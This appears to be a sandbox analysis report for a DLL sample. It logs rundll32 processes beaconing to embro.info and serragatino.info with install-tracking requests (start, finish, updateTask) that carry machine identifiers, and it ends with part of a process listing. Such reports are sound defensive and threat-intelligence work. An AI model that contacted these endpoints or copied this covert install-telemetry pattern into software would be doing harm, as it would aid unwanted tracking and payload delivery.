Apr 23, 2024 08:40:02.845221996 CEST	805	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544021002974; expires=Wed, 23-Apr-2025 06:40:02 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BtVtE4xzTNvxQjij3sQSxtzNoOhNUrSlLY3Z8rB2UQF0vnucHK%2Fd3jhuUydoFD%2Fr4tU9zoHV5Xqm6nIbBc4LH3yCzms8lLCDUSXVaTkfauvnk68mSYXjGXIzRDcWh9bfNexH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc207b0d438a-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49717	104.21.24.192	80	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:03.064673901 CEST	155	OUT	GET /preinstaller/index.php?evt=start_install&v=1.28.763.1&ts=1713854401&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:03.313076019 CEST	809	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544039501631; expires=Wed, 23-Apr-2025 06:40:03 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SvMKlJCYLFSJS9VvPddQws%2BTn%2BjoJ4XG99F00EOggWusOBvTH7S3wfJCSvs3uV1lTYPowi1YrYyo54ixr%2BERsqZyE85gcU6Id%2FrbFuQGRqffBbkQcZBzDvBgFFEYtxzFsZiC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc2378eac457-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49731	104.21.24.192	80	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:15.679871082 CEST	153	OUT	GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854414&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:15.924774885 CEST	811	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544157821985; expires=Wed, 23-Apr-2025 06:40:15 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=28rOgjwWtz6mAEYxeCkn%2FcCghJZx0nWSUacUmOLJU%2BAoX1dIXD4xkA3su2myxrqw%2FN4XZGf8AmVeajNWueoPiMxE4LS2ZhjRk4Xj6%2B33caRG9h9Zle%2BY3ByMrooBS450QzYm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc724f46c459-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49749	104.21.24.192	80	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:17.918432951 CEST	153	OUT	GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854416&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:18.160140038 CEST	809	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544188480332; expires=Wed, 23-Apr-2025 06:40:18 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6g5PtGXO0JbyTJmUAtIl9EnljvkNI80TzxAov9piTqd%2BsBEEfHggpj%2BXoCB85cFuYhaC%2FH29xy9HGF9cAyP9u7et19CgY72DghwM5poJ%2BeQCc5LDdalmmTjUjLkvEgnLTJYZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc804efc5e79-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49750	104.21.24.192	80	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 08:40:18.151437998 CEST	153	OUT	GET /preinstaller/index.php?evt=end_install&v=1.28.763.1&ts=1713854417&mid=d85294d3634ef96b9b06988fd385c922&payload= HTTP/1.1 Host: serragatino.info
Apr 23, 2024 08:40:18.401856899 CEST	811	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" Set-Cookie: _asd=17138544181056277; expires=Wed, 23-Apr-2025 06:40:18 GMT; Max-Age=31536000; path=/; samesite=none; domain=serragatino.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CgvZ8LrhLB9UEHVC14Ce5iO1N%2BW3Zm7D23YneqNxWJ2d9hqN7kPME5fE2EhDjUCvM%2BMX86wf2kqWs5g8PE18xvakJTHQvADb%2F8KSEjVIzH3QaqwPFY5UKsd3%2BJROiSmR%2FaUG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc81bd750cbd-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49713	172.67.207.72	443	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:02 UTC	146	OUT	GET /installer/get_timestamp.php HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:02 UTC	572	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r3d7EcG42Xsb78IPmcTsrA%2Ff%2FkFvibZJOQg1O5hfOi0E82t0C%2B%2Bfch%2FxTTK9i6YxO4mt1UiWUdn4f4wetiAE4kIAkZST10F%2BiR02WLtsTsboUjA5avE1Qr%2BwhQWH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc1f8d37428f-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:02 UTC	15	IN	Data Raw: 61 0d 0a 31 37 31 33 38 35 34 34 30 32 0d 0a Data Ascii: a1713854402
2024-04-23 06:40:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49715	172.67.207.72	443	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:02 UTC	146	OUT	GET /installer/get_timestamp.php HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:03 UTC	564	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RpRgS4no%2FQ6KEqK%2B1UmhSt5aYvehKbVu80oxbO2OP%2FdKpyIRK1qweQkzYzqa3BEmnxUalUTZJy63wzxFPfMNM2YN015rFlVUnmherfvOSNydaqkYyuKkgfN9soxt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc2369bb4244-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:03 UTC	15	IN	Data Raw: 61 0d 0a 31 37 31 33 38 35 34 34 30 33 0d 0a Data Ascii: a1713854403
2024-04-23 06:40:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49716	172.67.207.72	443	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:03 UTC	305	OUT	GET /installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:03 UTC	783	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544039669471; expires=Wed, 23-Apr-2025 06:40:03 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fmcAEfj0gfs8AF%2BbRvftEJTZsdA6LnsGkPeovBSyTNGzeh6ZSIjwn%2Bb3siy78ubkQfmshMRummRuNu0hpSoRsbroUfHlzlCGCzFciJCu0MBrPfEyNYf8%2B2s413wm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc2418f417bd-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49718	172.67.207.72	443	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:03 UTC	305	OUT	GET /installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:04 UTC	787	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544034137285; expires=Wed, 23-Apr-2025 06:40:03 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FhbR%2FIK25SJA1ljLIEouoMbM37jjVk%2F6qsBHRZt8G2tqCoDL%2FDAcVCbkhHGXjrEdN8xKvsnE2LviU%2FdWCnNgJfa6sxKIbP7kRBmJRZ%2BzTQCtydbSqR9Owhu15yxe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc283e2d41ec-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49719	172.67.207.72	443	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:04 UTC	146	OUT	GET /installer/get_timestamp.php HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:04 UTC	566	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FZqXMB6KhInfUld2eqkkoiHIbuB5t6nfOe916uB1urQ62b2CoA%2Bpff8eEKOAUrWyiuu8HR%2FZQ%2FNzK3Ls4ygULSZU0f96onqhblSycI6MWzDdcScfeyeZqF3qNHvX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc2b5fff7cf6-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:04 UTC	15	IN	Data Raw: 61 0d 0a 31 37 31 33 38 35 34 34 30 34 0d 0a Data Ascii: a1713854404
2024-04-23 06:40:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49720	172.67.207.72	443	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:04 UTC	311	OUT	GET /installer/start?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:05 UTC	785	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544056329712; expires=Wed, 23-Apr-2025 06:40:05 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PnMy%2BDOZAFtfCtMTeGRugSZU4KGvtGs%2Bx99omk2MUjdu0g2XN7feLdoIY4EE3PAUCX5DRJUh18y775DCab%2FYUO8VimeGmty%2FmPL5uMNBv9WhwEP9Jyxosi98cSIo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc2feab142ef-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49726	172.67.207.72	443	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:13 UTC	407	OUT	GET /installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=C%3A%5CUsers%5Cuser%5CDesktop%5CanuwhqTXGt%2Edll%2Cget&v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:14 UTC	789	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544134220301; expires=Wed, 23-Apr-2025 06:40:13 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ui0qaAXTy0Dnhm80oU86xxggOKZiMOw%2FME51ckDmvpa4PqJ%2BCZ9zv07x9tQQdbvjf4%2FGA4XW4aMVPYt%2BSQTd%2BDV3JcXnIK55yc6r2Iyp7tLERh5f6gJy7YAk18F%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc65be280f81-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49727	172.67.207.72	443	4296	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:14 UTC	306	OUT	GET /installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854403&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:14 UTC	789	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544147422640; expires=Wed, 23-Apr-2025 06:40:14 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KF5CVg8eSfEgkySiarsMV74ikiZA4fo9wJY5%2FuTIhX6soUg6PKW0Whf4pPuZeIKj74inkFcv%2BAgIB%2BGpRC%2FQhi6cj%2BWj87%2FgjGnjKVvAAJARj4xUntcBOrZcBqON"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc6a4dcb4302-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49736	172.67.207.72	443	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:16 UTC	414	OUT	GET /installer.php?pixid=2&campaignId=&firstrun=1&bg=1&cmdline=%22C%3A%5CUsers%5Cuser%5CDesktop%5CanuwhqTXGt%2Edll%22%2C%231&v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:17 UTC	781	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544169315808; expires=Wed, 23-Apr-2025 06:40:16 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=50BkzDJHMGnsxoXHkr2dtYUD%2FYry%2FaxQlJqvDs5jtUBnj1d4xWDjwdszeRQ9soNa0qYmRFleBLQc8L7u2Ly4Q4uIB5yh9hp15OtkF5tsSSbgZQWu1ZoEDbl6eQrf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc7868e61a3c-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49740	172.67.207.72	443	7348	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:16 UTC	312	OUT	GET /installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:17 UTC	783	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544174098658; expires=Wed, 23-Apr-2025 06:40:17 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FQLkry4oR3xhyg1wTXB4q%2BFYU0sDgITyESarj9vl%2Bh2KuyGh3EaGGw7HtpVSKuV89MZCIpDgivO9fRCIl6chnXYmwbSegWCdAXKV%2FfUHnXlkn5UcoKDZI1iwNfoq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc799a2dc334-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49741	172.67.207.72	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:16 UTC	555	OUT	GET /updateTask/index.php?v=e1.0.0.28&os_mj=10&os_mn=0&os_bitness=64&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=VPGCNBK0FG&ts=1713854404&ts2=&brw=chrome&retry_version=1.0.0.28&retry_count=0 HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: embro.info Connection: Keep-Alive
2024-04-23 06:40:17 UTC	785	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544177969602; expires=Wed, 23-Apr-2025 06:40:17 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DU9K3bsyTv4LK10Dl%2FinZJzW3UOx412V0bkTpJVJb5A%2FI3%2BjVp0cILitfFO8wFwDKx6wCfmDzSc2jZs%2Fc6RezddL1YHekJZxaY8hHyej05SHBdxlTFVBoLo1kPTc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc79ec08c47f-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49745	172.67.207.72	443	6380	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 06:40:17 UTC	306	OUT	GET /installer/finish?v=e1.0.0.28&tv=1.0-90000&unique_id=EA0012FA9C0BA3312209B38DA78C55F7&mid=5a22443ffb9ed87bfffb38c0fd1fd644&aid=VPGCNBK0FG&aid2=none&ts=1713854402&ts2=&brw=chrome&mi=0&ma=10 HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: embro.info Connection: Keep-Alive Cache-Control: no-cache
2024-04-23 06:40:17 UTC	791	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 06:40:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" set-cookie: _asd=17138544175808732; expires=Wed, 23-Apr-2025 06:40:17 GMT; Max-Age=31536000; path=/; samesite=none; domain=embro.info; secure CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7aOW%2Bm9D4CRkUfJduziOCgG9YGEbymbOn1577XS%2BeI5i5%2B7j3K7awz3%2FCNC%2BiileUutRy0Jb0ABn%2FPMUmXvetZNtKiGPFLPAmEAfmbcYkz0VEH%2FjETGi0GudYDz7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878bdc7dbae942af-EWR alt-svc: h3=":443"; ma=86400
2024-04-23 06:40:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:39:50
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:39:51
Start date:	23/04/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:39:54
Start date:	23/04/2024
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\anuwhqTXGt.dll"
Imagebase:	0x3b0000
File size:	126'464 bytes
MD5 hash:	51E6071F9CBA48E79F10C84515AAE618
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:39:54
Start date:	23/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
